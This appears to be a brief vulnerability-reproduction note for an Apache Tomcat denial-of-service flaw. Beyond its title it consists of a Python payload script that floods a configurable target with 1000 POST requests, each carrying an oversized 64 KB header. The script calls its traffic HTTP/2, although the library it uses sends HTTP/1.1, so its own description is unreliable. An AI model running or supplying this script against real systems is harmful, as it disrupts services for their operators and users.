A40-1Apache-Tomcat-拒绝服务

漏洞复现：

payload：

import http.client

# Configuration
host = "target-server"  # Change this to the target server address
port = 443  # Change this to the target server port (usually 443 for HTTPS)
num_requests = 1000  # Number of requests to send

def send_dos_requests():
    try:
        # Create an HTTP/2 connection
        conn = http.client.HTTPSConnection(host, port, timeout=10)

        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "X-Test-Header": "A" * 65536  # Large header value to exceed limits
        }

        for i in range(num_requests):
            conn.request("POST", "/", headers=headers)
            response = conn.getresponse()
            print(f"Request {i + 1}: Status Code: {response.status}")

        conn.close()
    except Exception as e:
        print(f"[-] An error occurred: {e}")

if __name__ == "__main__":
    print(f"Sending {num_requests} HTTP/2 requests to {host}:{port}")
    send_dos_requests()